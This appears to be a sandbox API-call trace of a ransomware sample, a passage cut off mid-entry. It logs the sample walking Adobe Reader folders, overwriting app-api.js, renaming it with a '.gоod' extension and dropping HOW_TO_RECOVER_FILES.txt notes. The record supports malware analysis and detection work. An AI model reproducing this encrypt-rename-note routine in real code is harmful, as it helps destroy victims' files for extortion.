SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0153.145] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api", lpFilePart=0x0) returned 0x5e [0153.145] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.145] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.145] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0153.145] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.146] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0153.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0153.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0153.146] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev", lpFilePart=0x0) returned 0x62 [0153.146] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.146] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.146] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 1 [0153.147] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.147] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0153.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0153.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0153.147] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev", lpFilePart=0x0) returned 0x62 [0153.147] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.147] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.147] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 1 [0153.147] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 0 [0153.148] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0153.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0153.148] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", nBufferLength=0x105, lpBuffer=0x1ffeca10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", lpFilePart=0x0) returned 0x6d [0153.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffecee0) returned 1 [0153.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\dev\\app-api.js"), fInfoLevelId=0x0, lpFileInformation=0x394a030 | out: lpFileInformation=0x394a030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e)) returned 1 [0153.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffecea0) returned 1 [0153.148] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", nBufferLength=0x105, lpBuffer=0x1ffec870, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", lpFilePart=0x0) returned 0x6d [0153.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffecd90) returned 1 [0153.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\dev\\app-api.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.149] GetFileType (hFile=0x7fc) returned 0x1 [0153.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffecd00) returned 1 [0153.149] GetFileType (hFile=0x7fc) returned 0x1 [0153.149] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1ffecf38 | out: lpFileSizeHigh=0x1ffecf38*=0x0) returned 0x100e [0153.149] ReadFile (in: hFile=0x7fc, lpBuffer=0x394a350, nNumberOfBytesToRead=0x100e, lpNumberOfBytesRead=0x1ffece68, lpOverlapped=0x0 | out: lpBuffer=0x394a350*, lpNumberOfBytesRead=0x1ffece68*=0x100e, lpOverlapped=0x0) returned 1 [0153.150] CloseHandle (hObject=0x7fc) returned 1 [0153.177] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", nBufferLength=0x105, lpBuffer=0x1ffec870, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", lpFilePart=0x0) returned 0x6d [0153.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffecd90) returned 1 [0153.177] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\dev\\app-api.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.178] GetFileType (hFile=0x7fc) returned 0x1 [0153.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffecd00) returned 1 [0153.179] GetFileType (hFile=0x7fc) returned 0x1 [0153.179] WriteFile (in: hFile=0x7fc, lpBuffer=0x39c5700*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffecec8, lpOverlapped=0x0 | out: lpBuffer=0x39c5700*, lpNumberOfBytesWritten=0x1ffecec8*=0x1010, lpOverlapped=0x0) returned 1 [0153.179] CloseHandle (hObject=0x7fc) returned 1 [0153.180] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", nBufferLength=0x105, lpBuffer=0x1ffeca10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js", lpFilePart=0x0) returned 0x6d [0153.180] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeca10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js.gоod", lpFilePart=0x0) returned 0x72 [0153.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffecea0) returned 1 [0153.180] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\dev\\app-api.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffecf80 | out: lpFileInformation=0x1ffecf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5783ec56, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1010)) returned 1 [0153.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffece60) returned 1 [0153.180] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\dev\\app-api.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\app-api.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\dev\\app-api.js.gоod")) returned 1 [0153.181] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffecb80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7b [0153.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed0a0) returned 1 [0153.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\dev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0153.183] GetFileType (hFile=0x7fc) returned 0x1 [0153.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed010) returned 1 [0153.183] GetFileType (hFile=0x7fc) returned 0x1 [0153.183] WriteFile (in: hFile=0x7fc, lpBuffer=0x39c90e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffed168, lpOverlapped=0x0 | out: lpBuffer=0x39c90e0*, lpNumberOfBytesWritten=0x1ffed168*=0x5d0, lpOverlapped=0x0) returned 1 [0153.184] CloseHandle (hObject=0x7fc) returned 1 [0153.184] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffed5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x77 [0153.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedad0) returned 1 [0153.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app-api\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0153.314] GetFileType (hFile=0x644) returned 0x1 [0153.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda40) returned 1 [0153.314] GetFileType (hFile=0x644) returned 0x1 [0153.315] WriteFile (in: hFile=0x644, lpBuffer=0x32249a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffedb98, lpOverlapped=0x0 | out: lpBuffer=0x32249a8*, lpNumberOfBytesWritten=0x1ffedb98*=0x5d0, lpOverlapped=0x0) returned 1 [0153.316] CloseHandle (hObject=0x644) returned 1 [0153.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0153.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core", lpFilePart=0x0) returned 0x5b [0153.316] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.317] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.317] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0153.317] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0153.317] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0153.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0153.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0153.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core", lpFilePart=0x0) returned 0x5b [0153.317] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.317] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.318] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0153.318] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.318] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0153.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0153.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0153.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev", lpFilePart=0x0) returned 0x5f [0153.318] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.319] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.319] FindNextFileW (in: 